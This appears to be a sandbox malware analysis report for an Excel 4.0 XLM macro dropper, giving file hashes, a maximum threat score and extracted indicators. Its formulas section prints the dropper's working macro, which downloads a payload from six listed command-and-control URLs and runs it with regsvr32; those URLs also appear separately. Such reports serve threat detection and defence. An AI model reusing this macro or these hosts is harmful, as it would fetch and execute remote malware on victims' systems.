3622527042f21f23a905d55bd46e5a7a2921e156450810e88e01bbe46d04b65e

General

Target

3622527042f21f23a905d55bd46e5a7a2921e156450810e88e01bbe46d04b65e
Size

48KB
Sample

241120-mezryswcrj
MD5

9f1522cbd8ea7b0d1cad3db9cfb7de23
SHA1

3c245a187b0a2659d2d9abe5ccc7ab73105ae6a9
SHA256

3622527042f21f23a905d55bd46e5a7a2921e156450810e88e01bbe46d04b65e
SHA512

e2d71cf6cb9c48001f75c51d0fce58f1193ba5219ef62e784990c9367e290c3bb345188594b9f5c067cbfa3436380adf6208c3725aa01551bd84c361999a6b3f
SSDEEP

768:DO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:D7O2b8QkKDNck01u/R2rZyjtBl

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://suleyera.com/components/CNGhltc5v2K6/

http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/

http://moveit.savvyint.com/config/DsfssbO7BYG/

https://schwizer.net/styled/D0MG/

http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/

http://shimal.atwebpages.com/wp-content/xkaRkHr/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://suleyera.com/components/CNGhltc5v2K6/

xlm40.dropper

http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/